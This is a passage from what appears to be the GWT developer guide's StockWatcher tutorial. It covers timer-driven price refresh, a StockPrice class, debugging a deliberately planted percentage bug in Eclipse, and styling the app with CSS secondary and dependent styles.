You have one more TODO to code: get the stock price. But first do a quick check in development mode to see if Add Stock and Remove Stock functionality is working as expected. At this point when you enter a stock code, StockWatcher should add it to the stock table. Try it and see. 1. Run StockWatcher in development mode. Press Refresh in the already open browser. 2. Add a stock. Enter stock codes in the input box. StockWatcher should add the stock to the table. The table resizes to hold the new data. However, the Price and Change fields are still empty. If you enter a stock code in lowercase, it converts the letters to uppercase. 3. Verify that you can't add duplicate stocks to the table. Add a stock code that already exist in the table. StockWatcher should clear the input box but not add the the same stock code again. 4. Delete a stock. Click the Remove button. The stock is deleted from the table and the table resizes.

Now you'll tackle that last TODO: get the stock price.

3.2.5.2.

Refreshing the Price and Change fields

The most important feature of StockWatcher is updating the prices of the stocks the users are watching. If you were writing StockWatcher using traditional web development techniques, you would have to rely on full page reloads every time you wanted to update the prices. You could accomplish this either manually (making the user click the browser's Refresh button) or automatically (for example, using a <meta http-equiv="refresh" content="5"> tag in the HTML header). But in this age of Web 2.0, that's simply not efficient enough. StockWatcher's users want their stock price updates and they want them now...without waiting for a full page refresh. 69 / 469

In this section, you'll: A. B. C. D. E. Automatically refresh the Price and Change fields by implementing a timer and specifying a refresh rate. Encapsulate the stock price data by creating a class, StockPrice. Generate the stock data for the Price and Change fields by implementing the refreshWatchList method. Load the Price and Change fields with the stock data by implementing the updateTable method. Test the random generation of stock prices and change values

A. Automatically refresh stock data
GWT makes it easy to update an application's content on the fly. For StockWatcher, you'll automatically update stock prices by using the GWT Timer class. Timer is a single-threaded, browser-safe timer class. It enables you to schedule code to run at some point in the future, either once using the schedule() method or repeatedly using the scheduleRepeating() method. Because you want StockWatcher to automatically update the stock prices every five seconds, you'll use scheduleRepeating(). When a Timer fires, the run method executes. For StockWatcher you'll override the run method with a call to the refreshWatchList method which refreshes the Price and Change fields. For now, just put in a stub for the refreshWatchList method; later in this section, you'll implement it. 1. Implement the timer. Modify the onModuleLoad method to create a new instance of Timer, as follows:

public void onModuleLoad() { ... // Move cursor focus to the text box. newSymbolTextBox.setFocus(true); // Setup timer to refresh list automatically. Timer refreshTimer = new Timer() { @Override public void run() { refreshWatchList(); } }; refreshTimer.scheduleRepeating(REFRESH_INTERVAL); ... }

Eclipse flags Timer, REFRESH_INTERVAL and refreshWatchList. 2. Declare the import for Timer. If you are using Eclipse shortcuts, be sure to select the GWT Timer.
import com.google.gwt.user.client.Timer;

3. Specify the refresh rate. If you are using Eclipse shortcuts, select Create constant 'REFRESH_INTERVAL' then specify the refresh interval in milliseconds, 5000. Otherwise, just cut and paste from the highlighted code below.
public class StockWatcher implements EntryPoint { private static final int REFRESH_INTERVAL = 5000; // ms private VerticalPanel mainPanel = new VerticalPanel();

4. Populate the price and change values as soon as a new stock is added. In the addStock method, replace the TODO comment with the highlighted code.

70 / 469

private void addStock() { ... // Add a button to remove a stock from the table. Button removeStockButton = new Button("x"); removeStockButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { int removedIndex = stocks.indexOf(symbol); stocks.remove(removedIndex); stocksFlexTable.removeRow(removedIndex + 1); } }); stocksFlexTable.setWidget(row, 3, removeStockButton); // Get the stock price. refreshWatchList(); }

Eclipse flags refreshWatchList. 5. In the StockWatcher class, create a stub for the refreshWatchList method.
private void refreshWatchList() { // TODO Auto-generated method stub }

71 / 469

B. Encapsulate stock price data

Creating a Java class using Eclipse
One of the primary ways GWT speeds AJAX development is by allowing you to write your applications in the Java language. Because of this, you can take advantage of static type checking and time-tested patterns of object-oriented programming. These, when combined with modern IDE features like code completion and automated refactoring, make it easier than ever to write robust AJAX applications with well-organized code bases. For StockWatcher, you'll take advantage of this capability by factoring stock price data into its own class. 1. Create a new Java class named StockPrice. In Eclipse, in the Package Explorer pane, select the package com.google.gwt.sample.stockwatcher.client From the Eclipse menu bar, select File > New > Class Eclipse opens a New Java Class window. 2. Fill in the New Class Window. At Name enter StockPrice Accept the defaults for the other fields. Press Finish 3. Eclipse creates stub code for the StockPrice class.
package com.google.gwt.sample.stockwatcher.client; public class StockPrice { }

72 / 469

4. Replace the stub with following code.
package com.google.gwt.sample.stockwatcher.client; public class StockPrice { private String symbol; private double price; private double change; public StockPrice() { } public StockPrice(String symbol, double price, double change) { this.symbol = symbol; this.price = price; this.change = change; } public String getSymbol() { return this.symbol; } public double getPrice() { return this.price; } public double getChange() { return this.change; } public double getChangePercent() { return 10.0 * this.change / this.price; } public void setSymbol(String symbol) { this.symbol = symbol; } public void setPrice(double price) { this.price = price; } public void setChange(double change) { this.change = change; }

}

C. Generate the stock data
Now that you have a StockPrice class to encapsulate stock price data, you can generate the actual data. To do this you'll implement the refreshWatchList method. Remember the refreshWatchList method is called both when the user adds a stock to the stock table, and then every 5 seconds when the timer fires.

Randomly generating the data
In lieu of retrieving real-time stock prices from an online data source, you'll create pseudo-random price and change values. To do this, use the GWT Random class. Then populate an array of StockPrice objects with these values and pass them on to the updateTable method. 1. Generate random stock prices. In the StockWatcher class, replace the stub refreshWatchList method with the following code.

73 / 469

/**

* Generate random stock prices. */ private void refreshWatchList() { final double MAX_PRICE = 100.0; // $100.00 final double MAX_PRICE_CHANGE = 0.02; // +/- 2% StockPrice[] prices = new StockPrice[stocks.size()]; for (int i = 0; i < stocks.size(); i++) { double price = Random.nextDouble() * MAX_PRICE; double change = price * MAX_PRICE_CHANGE * (Random.nextDouble() * 2.0 - 1.0); prices[i] = new StockPrice(stocks.get(i), price, change); } } updateTable(prices);

Eclipse flags Random and updateTable. 2. Include the import declaration.
import com.google.gwt.user.client.Random;

3. Create a stub for the updateTable(StockPrice[]) method.
private void updateTable(StockPrice[] prices) { // TODO Auto-generated method stub }

D. Populate the Price and Change fields
Finally, load the randomly generated price and change data into the StockWatcher table. For each stock, format the Price and Change columns, then load the data. To do this you'll implement two methods in the StockWatcher class. • • Format the values in the Price field to two decimal places (1,956.00). Prefix the values in the Change field with a sign (+/-).

1. Implement the method updateTable(StockPrices[]). Replace the stub with the following code.
/**

* Update the Price and Change fields all the rows in the stock table. * * @param prices Stock data for all rows. */ private void updateTable(StockPrice[] prices) { for (int i = 0; i < prices.length; i++) { updateTable(prices[i]); } }

Eclipse flags updateTable. Create a stub for the updateTable(StockPrice) method. 2. Implement the method updateTable(StockPrice). Replace the stub with the following code.

74 / 469

/**

* Update a single row in the stock table. * * @param price Stock data for a single row. */ private void updateTable(StockPrice price) { // Make sure the stock is still in the stock table. if (!stocks.contains(price.getSymbol())) { return; } int row = stocks.indexOf(price.getSymbol()) + 1; // Format the data in the Price and Change fields. String priceText = NumberFormat.getFormat("#,##0.00").format( price.getPrice()); NumberFormat changeFormat = NumberFormat.getFormat("+#,##0.00;-#,##0.00"); String changeText = changeFormat.format(price.getChange()); String changePercentText = changeFormat.format(price.getChangePercent()); // Populate the Price and Change fields with new data. stocksFlexTable.setText(row, 1, priceText); stocksFlexTable.setText(row, 2, changeText + " (" + changePercentText + "%)"); }

Eclipse flags NumberFormat. 3. Include the import declaration.
import com.google.gwt.i18n.client.NumberFormat;

E. Test the random generation of stock prices and change values
At this point, the Price and Change fields should be populated with the stock data you randomly generated. Try it and see. 1. Run StockWatcher in development mode. 2. Add a stock. The Price and Change fields should have data. Every 5 seconds, the data should refresh.

3.2.5.3.

Adding the timestamp

The final piece of functionality you need to implement is the timestamp. You used a Label widget, lastUpdatedLabel, to create the timestamp in the UI. Now set the text for the Label widget. Add this code to the updateTable(StockPrice[]) method. A. Implement the timestamp. In the updateTable(StockPrice[]) method, copy and paste the highlighted code.
/** * Update the Price and Change fields all the rows in the stock table. * * @param prices Stock data for all rows. */ private void updateTable(StockPrice[] prices) { for (int i = 0; i < prices.length; i++) { updateTable(prices[i]); } // Display timestamp showing last refresh. lastUpdatedLabel.setText("Last update : " + DateTimeFormat.getMediumDateTimeFormat().format(new Date())); }

75 / 469

Eclipse flags DateTimeFormat and Date. B. Include the imports.
import com.google.gwt.i18n.client.DateTimeFormat; import java.util.Date;

C. Test the timestamp. Save your changes. In the browser, press Refresh to load the changes. The timestamp label should be displayed beneath the stock table. As the Price and Change fields refresh, the timestamp should display the date and time of the last update. Implementation Note: You may have noticed that the classes DateTimeFormat and NumberFormat live in a subpackage of com.google.gwt.i18n, which suggest that they deal with internationalization in some way. And indeed they do: both classes will automatically use your application's locale setting when formatting numbers and dates. You'll learn more about localizing and translating your GWT application into other languages in the tutorial Internationalizing a GWT Application.

A Bug
For the sake of this tutorial, we introduced an error into the code. Can you detect it? Look at the change percentages. Don't they seem a bit small? If you do the math, you'll discover that they appear to be exactly an order of magnitude smaller than they should be. There's an arithmetic error hiding somewhere in the StockWatcher code. Using the tools provided by GWT and your Java IDE, your next step is to find and fix the error.

3.2.6.

Step 6: Debug a GWT Application

At this point, you've finished implementing the StockWatcher UI and all its client-side functionality. However, you've noticed that there is an error in the Change field. The percentage of change is not calculating correctly. In this section, you'll use Eclipse to debug your Java code while running StockWatcher in development mode. 1. Find the bug. 2. Fix the bug. 3. Test the bug fix by running StockWatcher in development mode.

Benefits
You can debug the Java source code before you compile it into JavaScript. This GWT development process help you take advantage of the debugging tools in your Java IDE. You can: • • • • • Set break points. Step through the code line by line. Drill down in the code. Inspect the values of variables. Display the stack frame for suspended threads.

One of attractions of developing in JavaScript is that you can make changes and see them immediately by refreshing the browser—without having to do a slow compilation step. GWT development mode provides the exact same development cycle. You do not have to recompile for every change you make; that's the whole point of development mode. Just click "Refresh" to see your updated Java code in action.

76 / 469

3.2.6.1.

Finding the bug

Analyzing the problem

Looking at the values in the Price and Change fields, you can see that, for some reason, all of the change percentages are only 1/10 the size of the correct values. The values for the Change field are loaded by the updateTable(StockPrice) method.
/** * Update a single row in the stock table. * * @param price Stock data for a single row. */ private void updateTable(StockPrice price) { // Make sure the stock is still in the stock table. if (!stocks.contains(price.getSymbol())) { return; } int row = stocks.indexOf(price.getSymbol()) + 1; // Format the data in the Price and Change fields. String priceText = NumberFormat.getFormat("#,##0.00").format( price.getPrice()); NumberFormat changeFormat = NumberFormat.getFormat("+#,##0.00;-#,##0.00"); String changeText = changeFormat.format(price.getChange()); String changePercentText = changeFormat.format(price.getChangePercent()); // Populate the Price and Change fields with new data. stocksFlexTable.setText(row, 1, priceText); stocksFlexTable.setText(row, 2, changeText + " (" + changePercentText + "%)");

}

Just glancing at the code, you can see that the value of the changePercentText variable is being set elsewhere, in price.getChangePercent. So, first set a breakpoint on that line and then drill down to determine where the error in calculating the change percentage is.

77 / 469

Setting break points
1. Set a breakpoint on the lines of code you want to step into and where you want to examine variable values. In StockWatcher.java, in the updateTable(StockPrice price) method, set a breakpoints on these two lines
String changePercentText = changeFormat.format(price.getChangePercent()); stocksFlexTable.setText(row, 1, priceText);

Eclipse switches to Debug perspective. 2. Run the code that has the error. To run the code in the updateTable method where you suspect the error, just add a stock to the stock list in the browser running in development mode. Execution will stop at the first breakpoint. 3. Check the values of the variables priceText and changeText. In the Eclipse Debug perspective, look at the Variables pane. 4. Run the code to the next break point, where priceText is set. In the Debug pane, press the Resume icon. 5. Check the values of the variables priceText, changeText, changePercentText. In the Eclipse Debug perspective, look at the Variables pane. If you like, double-check the math to see the error.

6. Loop back to the first break point, where changePercentText is set. In the Debug pane, press the Resume icon.

Stepping through the code
Now step into the code to see where and how the changePercentText is being calculated. 1. Step into the getChangePercent method to see how it's calculating the value of changePercentText.
public double getChangePercent() { return 10.0 * this.change / this.price; }

Looking at the getChangePercent method, you can see the problem: it's multiplying the change percentage by 10 instead of 100. That corresponds exactly with the output you saw before: all of the change percentages were only 1/10 the size of the correct values.

3.2.6.2.

Fixing the bug

Fix the error in calculating the percentage of the price change. In StockPrice.java, edit the getChangePercent method.

public double getChangePercent() { return 100.0 * this.change / this.price; }

78 / 469

Tip: In Eclipse, if you find it easier to edit in the Java perspective rather than the Debug perspective, you can switch back and forth while running StockWatcher in development mode.

3.2.6.3.

Testing the bug fix in development mode

At this point when you enter a stock code, the calculation of the Change field should be accurate. Try it and see. 1. In Eclipse, toggle all the breakpoints off and press Resume. 2. In the browser running in development mode, press Refresh. 3. Add a stock. 4. Check the calculation of the value in the Change field.

3.2.7.

Step 7: Apply Style

At this point, StockWatcher is functional. Now you want to give it some visual style.

In this section, you'll: 1. 2. 3. 4. 5. 6. 7. Associate style sheets with the project. Change the theme. Create a secondary style. Create a dependent secondary style. Update styles dynamically. Set an element's HTML attributes Add images or other static HTML elements.

Benefits of CSS
GWT provides very few Java methods directly related to style. Rather, we encourage you to define styles in Cascading Style Sheets. When it comes to styling web applications, CSS is ideal. In addition to cleanly separating style from application logic, this division of labor helps applications load and render more quickly, consume less memory, and even makes them easier to tweak during edit/debug cycles because there's no need to recompile for style tweaks. 79 / 469

3.2.7.1.
• •

Associating Style Sheets with a Project

Two style sheets are already associated with the StockWatcher project. a theme style sheet, standard.css: where the GWT default styles are defined the application style sheet, StockWatcher.css: where you define the specific styles for StockWatcher

When you used webAppCreator to create StockWatcher, it created the application style sheet (StockWatcher.css). It also referenced the theme in the GWT module. 1. Open the GWT module, StockWatcher/src/com/google/gwt/sample/stockwatcher/StockWatcher.gwt.xml. Notice that the Standard theme is being used by default.
<?xml version="1.0" encoding="UTF-8"?> <module rename-to='stockwatcher'> <!-- Inherit the core Web Toolkit stuff. <inherits name='com.google.gwt.user.User'/> <!-- Inherit the default GWT style sheet. You can change <!-- the theme of your GWT application by uncommenting <!-- any one of the following lines. <inherits name='com.google.gwt.user.theme.standard.Standard'/> <!-- <inherits name="com.google.gwt.user.theme.chrome.Chrome"/> <!-- <inherits name="com.google.gwt.user.theme.dark.Dark"/> <!-- Other module inherits

--> --> --> --> --> --> -->

<!-- Specify the app entry point class. --> <entry-point class='com.google.gwt.sample.stockwatcher.client.StockWatcher'/> </module>

2. Open StockWatcher/war/StockWatcher.html. Notice that the application style sheet is StockWatcher.css.
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <meta http-equiv="content-type" content="text/html; charset=UTF-8"> <link type="text/css" rel="stylesheet" href="StockWatcher.css"> <title>StockWatcher</title> <script type="text/javascript" language="javascript" src="stockwatcher/stockwatcher.nocache.js"></script> </head> <body> <h1>StockWatcher</h1> <div id="stockList"></div> <iframe src="javascript:''" id="__gwt_historyFrame" tabIndex='-1' style="position:absolute;width:0;height:0;border:0"></iframe> </body> </html>

80 / 469

Automatic Resource Inclusion
Like images, CSS files are static resources that are stored in the public directory and referenced from the HTML host page. You can associate a style sheet with your application either of two ways. • • Preferred: in the module XML file (StockWatcher.gwt.xml) Alternate: in the HTML host page (StockWatcher.html)

Whichever method you choose, you can associate one or more application style sheets with your project. They cascade in the order they are listed, just as they do in an HTML document. For StockWatcher, you'll follow the preferred strategy. Rather than put links to the style sheets in the HTML host page, you'll use the module XML file. Then, when you compile StockWatcher, the GWT compiler will bundle all the static resources required to run your application including the style sheets. This mechanism is called Automatic Resource Inclusion. In most cases, it is the better strategy because the style sheet will follow your module wherever it is used in new contexts, no matter what HTML host page you embed it in. As you get into more complex development, you will want to reuse or share modules. Shared modules do not include a host page and therefore, you cannot guarantee the availability of the application style sheet unless you use Automatic Resource Inclusion. If you have a case where you want whatever host page your module is embedded in to dictate the styles for its widgets, then don't include the style sheet in the module XML file.

3.2.7.2.

Changing the Theme

GWT ships with three themes: Standard, Chrome, and Dark. The Standard theme is selected by default when the GWT module is created. Each application can use only one theme at a time. However, if you have an existing style or you prefer to design one from scratch, you don't have to use any theme at all. Take a moment to see what the other themes look like. Change the theme from Standard to Dark. 1. In StockWatcher.gwt.xml, comment out the line referencing the Standard theme. Eclipse shortcut: Source > Toggle Comment. 2. Uncomment the line referencing the Dark theme. Eclipse shortcut: Source > Toggle Comment.
<!-- Inherit the default GWT style sheet. You can change --> <!-- the theme of your GWT application by uncommenting --> <!-- any one of the following lines. --> <!-- <inherits name='com.google.gwt.user.theme.standard.Standard'/> --> <!-- <inherits name="com.google.gwt.user.theme.chrome.Chrome"/> --> <inherits name="com.google.gwt.user.theme.dark.Dark"/>

3. Test the change. Save your changes to the StockWatcher.gwt.xml file. If development mode is still running, terminate it and then relaunch StockWatcher. For StockWatcher, you are going to build on the Standard theme. So after you've played around to see how themes work, set the theme back to Standard. Note: GWT themes also come in RTL (right-to-left) versions to support languages written from right-to-left, such as Arabic. To use a right-to-left theme, append RTL to the theme name. <inherits name='com.google.gwt.user.theme.standard.StandardRTL'/>

81 / 469

Deciding on Implementation Strategies
There are various ways you can modify GWT's default styles. • • You can create new style rules in the application style sheet, Stockwatcher.css. Changes made with this approach apply to all widgets of a type, for example, to all Buttons. You can append a secondary style to the HTML element by adding another class attribute. Changes made with this approach apply to a single widget, for example just the Remove button in StockWatcher. You can override a widget's primary style name. If you need to clear any existing styles that you are inheriting from the theme or other style sheets, you can change the default primary class associated with the widget. If you are embedding a GWT application into an existing page, you can edit your own style sheet. You can start completely from scratch.

• •

For the StockWatcher application, you'll focus mostly on the second approach: you'll learn to append a secondary style.

3.2.7.3.

Associating style rules with GWT-generated HTML elements

An Element's Primary Style
You might have noticed the buttons for StockWatcher have a gradient background. Where is the button style coming from? If, after you compile StockWatcher, you look at the generated JavaScript for the Add button, you will see that the button has a class attribute of gwt-Button: <button class="gwt-Button" tabindex="0" type="button">Add</button> In GWT, each class of widget has an associated style name (like gwt-Button) that binds it to a CSS style rule. This is the widget's primary style. Default values are defined for the primary style in the theme style sheet. Type of Element Buttons in static HTML and GWT-generated buttons Only GWT-generated buttons Only my special GWT-generated button <button> <button class="gwt-Button"> <button class="gwt-Button my-button"> HTML Tag CSS Selector button button.gwt-Button button.my-button

Tip: You can look up the name of the style rule (the CSS selector) for each widget by accessing the GWT API Reference via the Widget Gallery. GWT takes advantage of the fact that you can associate multiple classes with an HTML element so that you can specify a style for a specific GWT-generated element and not affect others of the same type. In this section, you'll learn how to set the secondary class on a GWT-generated HTML element.

Creating a Secondary Style
Creating a secondary style for an HTML element is a two-step process: 1. Specify the style rule in StockWatcher.css. 2. Apply the style by setting HTML class attributes programmatically in StockWatcher.java. Let's make one quick change to see how the mechanism works. Then you can make the rest of the changes in one pass. We'll start by changing the colors of the first row where we've stored header information.

82 / 469

Defining the Style in CSS
When you created the StockWatcher application, webAppCreator generated the application style sheet (StockWatcher.css) and added a pointer to it in the module XML file (StockWatcher.gwt.xml). So, you're ready to start defining style rules. 1. Open the application style sheet. Open StockWatcher/war/StockWatcher.css. 2. For any HTML element with the class attribute of watchListHeader, set the color and text properties. Replace the contents of StockWatcher.css with the following style rules.
/* Formatting specific to the StockWatcher application */ body { padding: 10px; } /* stock list header row */ .watchListHeader { background-color: #2062B8; color: white; font-style: italic; }

3. Save your changes to StockWatcher.css.

Applying the style with the addStyleName method
In a web page with static elements, you would now go through the HTML source and add class attributes to various elements to associate them with the styles defined in the CSS file. For example:
<tr class="watchListHeader">

However, GWT elements are created dynamically at runtime. So you'll set the HTML class attributes in the Java source using the addStyleName method. You'll specify the row (the header is row 0) and the name of the secondary class, watchListHeader. 1. In StockWatcher.java, in the onModuleLoad method, add a secondary style to the header row in the stock table.
public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // Add styles to elements in the stock list table. stocksFlexTable.getRowFormatter().addStyleName(0, "watchListHeader");

2. Save your changes to StockWatcher.java and then press Refresh in the browser running development mode to see them. The the header row in the flex table displays white italic headings against a blue background.

Implementing the Remaining Secondary Style Changes for StockWatcher
Each of the changes we will make by creating a secondary style is outlined below. You can apply them one at a time to see the effect of each change or you can copy and paste the set of changes summarized at the end of this section. • • • • Put a border around the stock list. Right-align numeric data in the stock list. Center the Remove buttons and make them wider. Add whitespace (padding) to the Add Stock panel.

83 / 469

Put a border around the stock list
1. Define the style. In StockWatcher.css, create a style rule for HTML elements with a class attribute of watchList.
/* stock list header row */ .watchListHeader { background-color: #2062B8; color: white; font-style: italic; } /* stock list flex table */ .watchList { border: 1px solid silver; padding: 2px; margin-bottom:6px; }

2. Apply the style. In StockWatcher.java, add a secondary class attribute to the stock flex table.
// Add styles to elements in the stock list table. stocksFlexTable.getRowFormatter().addStyleName(0, "watchListHeader"); stocksFlexTable.addStyleName("watchList");

3. Save your changes and then press Refresh in the browser running development mode to see them. The stock list table has a silver border.

Right-align numeric data in the stock list
First, you'll format the text in the stock table's header row, which loads when StockWatcher is launched. Later, you'll apply the same style rules to the table rows that contain the stock data. 1. Define the style. In StockWatcher.css, create a style rule that will right-align the columns that contain the Price and Change fields.
/* stock list flex table */ .watchList { border: 1px solid silver; padding: 2px; margin-bottom:6px; } /* stock list Price and Change fields */ .watchListNumericColumn { text-align: right; width:8em; }

2. Apply the style. In StockWatcher.java, add a secondary class attribute to both the Price and Change fields.
// Add styles to elements in the stock list table. stocksFlexTable.getRowFormatter().addStyleName(0, "watchListHeader"); stocksFlexTable.addStyleName("watchList"); stocksFlexTable.getCellFormatter().addStyleName(0, 1, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(0, 2, "watchListNumericColumn");

3. Save your changes and then press Refresh in the browser running development mode to see them. The Price and Change columns have a set width and the text in the header row is right-aligned.

84 / 469

Center the Remove buttons and make them wider
1. Define the style. In StockWatcher.css, create a style rule that will center the text in the column that contains the Remove button.
/* stock list Price and Change fields */ .watchListNumericColumn { text-align: right; width:8em; } /* stock list Remove column */ .watchListRemoveColumn { text-align: center; }

2. Apply the style. In StockWatcher.java, add a secondary class attribute to the Remove field.
// Add styles to elements in the stock list table. stocksFlexTable.getRowFormatter().addStyleName(0, "watchListHeader"); stocksFlexTable.addStyleName("watchList"); stocksFlexTable.getCellFormatter().addStyleName(0, 1, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(0, 2, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(0, 3, "watchListRemoveColumn");

3. Save your changes and then press Refresh in the browser running development mode to see them. The caption takes up the entire width of the field. You'll be able to see that the buttons are centered in the Remove column after you format the data rows in the next step.

Apply the same cell formatting to the rows that hold the stock data
You've formatted the header row of the flex table, which is displayed when StockWatcher starts up. Remember, however, that in a flex table, the rows holding the stocks aren't created until the user adds a stock to the list. Therefore, you will add the code for formatting the stock data in the addStock method rather than in the onLoad method. 1. You have already defined the style in StockWatcher.css. 2. Apply the style. In StockWatcher.java, in the addStock method, add secondary class attribute to the table cells in the Price, Change, and Remove columns.
// Add the stock to the table. int row = stocksFlexTable.getRowCount(); stocks.add(symbol); stocksFlexTable.setText(row, 0, symbol); stocksFlexTable.getCellFormatter().addStyleName(row, 1, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(row, 2, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(row, 3, "watchListRemoveColumn");

3. Save your changes and then press Refresh in the browser running development mode to see them. Add stocks to the list. The Price and Change data is right-aligned. The Remove button is centered.

Add margins around the Add Stock panel
Add whitespace around the text box and Add button in the Add Stock panel. 1. Define the style. In StockWatcher.css, create a style rule to widen the margins around the Add Stock panel.

85 / 469

/* stock list Remove column */ .watchListRemoveColumn { text-align: center; } /* Add Stock panel */ .addPanel { margin: 10px 0px 15px 0px; }

2. Apply the style. In StockWatcher.java, in the onModuleLoad method add a secondary class attribute to the addPanel.
// Assemble Add Stock panel. addPanel.add(newSymbolTextBox); addPanel.add(addStockButton); addPanel.addStyleName("addPanel");

3. Save your changes and then press Refresh in the browser running development mode to see them. The margin between the stock table and the Add Stock panel has increased.

Summary of Changes
Here the summary of the changes we've done so far.

86 / 469

Changes to StockWatcher.css
/* Formatting specific to the StockWatcher application */ body { padding: 10px; } /* stock list header row */ .watchListHeader { background-color: #2062B8; color: white; font-style: italic; } /* stock list flex table */ .watchList { border: 1px solid silver; padding: 2px; margin-bottom:6px; } /* stock list Price and Change fields */ .watchListNumericColumn { text-align: right; width:8em; } /* stock list Remove column */ .watchListRemoveColumn { text-align: center; } /* Add Stock panel */ .addPanel { margin: 10px 0px 15px 0px; }

Changes to StockWatcher.java, onModuleLoad
public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // Add styles to elements in the stock list table. stocksFlexTable.getRowFormatter().addStyleName(0, "watchListHeader"); stocksFlexTable.addStyleName("watchList"); stocksFlexTable.getCellFormatter().addStyleName(0, 1, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(0, 2, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(0, 3, "watchListRemoveColumn"); // Assemble the Add Stock panel addPanel.add(newSymbolTextBox); addPanel.add(addStockButton); addPanel.addStyleName("addPanel"); … }

Changes to StockWatcher.java, addStock
// Add the stock to the table. int row = stocksFlexTable.getRowCount(); stocks.add(symbol); stocksFlexTable.setText(row, 0, symbol); stocksFlexTable.getCellFormatter().addStyleName(row, 1, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(row, 2, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(row, 3, "watchListRemoveColumn");

87 / 469

3.2.7.4.

Creating secondary styles dependent on a primary style

Next you want to change the style of the Remove button. The Remove button inherits its style from the Button widget. Default styles for all GWT Button widgets are defined by GWT in standard.css.
<button class="gwt-Button tabindex="0" type="button">x</button> .gwt-Button { background:transparent url(images/hborder.png) repeat-x scroll 0px -27px; border:1px outset #CCCCCC; cursor:pointer; font-size:small; margin:0pt; padding:3px 5px; text-decoration:none; }

For StockWatcher, you want your style change to apply only to the Remove button. So you'll do just as you've been doing: add a secondary style to the Remove button element. But this time, you'll make the secondary style dependent on the primary style. Dependent styles are powerful because they are automatically updated whenever the primary style name changes. In contrast, secondary style names that are not dependent style names are not automatically updated when the primary style name changes. To do this, you'll use the addStyleDependentName method instead of the addStyleName method. 1. Define the style rule.
/* Add Stock panel */ .addPanel { margin: 10px 0px 15px 0px; } /* stock list, the Remove button */ .gwt-Button-remove { width: 50px; }

2. Apply the style. In StockWatcher.java, use addStyleDependentName to add a secondary, dependent class attribute to the Remove button.
// Add a button to remove this stock from the table. Button removeStockButton = new Button("x"); removeStockButton.addStyleDependentName("remove");

3. Save your changes and then press Refresh in the browser running development mode to see them. The Remove button is wider than it is tall. The Add button is unaffected by this change. 4. Now the resulting generated HTML has two class attributes.
<button class="gwt-Button gwt-Button-remove" tabindex="0" type="button">x</button>

88 / 469

3.2.7.5.

Updating styles dynamically

The final style change you want to implement is changing the color of the price change. If the stock price goes up, StockWatcher displays it in green; down, in red; no change, in black. This is the one style that changes dynamically as StockWatcher runs. You've already applied an HTML class attribute to the cell element to right-align the numeric values inside the cells. To keep the code simple, it would be nice if you could apply the HTML class attributes just to the text inside the cell. An easy way to do this would be to use a nested widget. In this case, you'll insert a Label widget inside every cell inside column 2. 1. Define the style. In StockWatcher.css, add these style rules.
/* stock list, the Remove button */ .gwt-Button-remove { width: 50px; } /* Dynamic color changes for the Change field */ .noChange { color: black; } .positiveChange { color: green; } .negativeChange { color: red; }

2. Insert a Label widget in a table cell. In StockWatcher.java, in the addStock method, create a Label widget for every cell in column 2.
// Add the stock to the table. int row = stocksFlexTable.getRowCount(); stocks.add(symbol); stocksFlexTable.setText(row, 0, symbol); stocksFlexTable.setWidget(row, 2, new Label()); stocksFlexTable.getCellFormatter().addStyleName(row, 1, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(row, 2, "watchListNumericColumn"); stocksFlexTable.getCellFormatter().addStyleName(row, 3, "watchListRemoveColumn");

Instead of setting the text on the table cells, now you have to set the text for the Label widget. 3. Set text on the changeWidget. In the updateTable(StockPrice) method, delete the call to setText for the Change column (column 2). Create an instance of the Label widget and call it changeWidget. Set the text on changeWidget.
// Populate the Price and Change fields with new data. stocksFlexTable.setText(row, 1, priceText); stocksFlexTable.setText(row, 2, changeText + " (" + changePercentText + "%)"); Label changeWidget = (Label)stocksFlexTable.getWidget(row, 2); changeWidget.setText(changeText + " (" + changePercentText + "%)");

89 / 469

4. Change the color of each changeWidget based on its value.
// Populate the Price and Change fields with new data. stocksFlexTable.setText(row, 1, priceText); Label changeWidget = (Label)stocksFlexTable.getWidget(row, 2); changeWidget.setText(changeText + " (" + changePercentText + "%)"); // Change the color of text in the Change field based on its value. String changeStyleName = "noChange"; if (price.getChangePercent() < -0.1f) { changeStyleName = "negativeChange"; } else if (price.getChangePercent() > 0.1f) { changeStyleName = "positiveChange"; } changeWidget.setStyleName(changeStyleName);

5. Save your changes and then press Refresh in the browser running development mode to see them. The color of the values in the Change field are red, green, or black depending on whether the change was negative, positive, or none.

3.2.7.6.

Setting an element's HTML attributes

Occasionally, you do want to set style attributes directly on an HTML element rather than define a style rule in CSS. For example, the HTML table element has a cellpadding attribute that is convenient for setting the padding on all the cells in the table. In GWT, depending on the HTML element, you can set some attributes in the Java code to generate the appropriate HTML. 1. Specify the cellpadding for the stock table. In StockWatcher.java, in the onModuleLoad method, add the setCellPadding method.
public void onModuleLoad() { // Create table for stock data. stocksFlexTable.setText(0, 0, "Symbol"); stocksFlexTable.setText(0, 1, "Price"); stocksFlexTable.setText(0, 2, "Change"); stocksFlexTable.setText(0, 3, "Remove"); // Add styles to elements in the stock list table. stocksFlexTable.setCellPadding(6);

2. Save your changes and then press Refresh in the browser running development mode to see them.

3.2.7.7.

Adding images or other static HTML elements

Your application's HTML host page can include whatever additional static HTML elements you require. For example, in StockWatcher, you'll add the Google Code logo. To include images, put them in the project's public directory. The GWT compiler will copy all the necessary files to the output directory for deployment. To include static images in the application. 1. Create an directory to hold the image files associated with this application. In the war directory, create an images directory.
StockWatcher/war/images

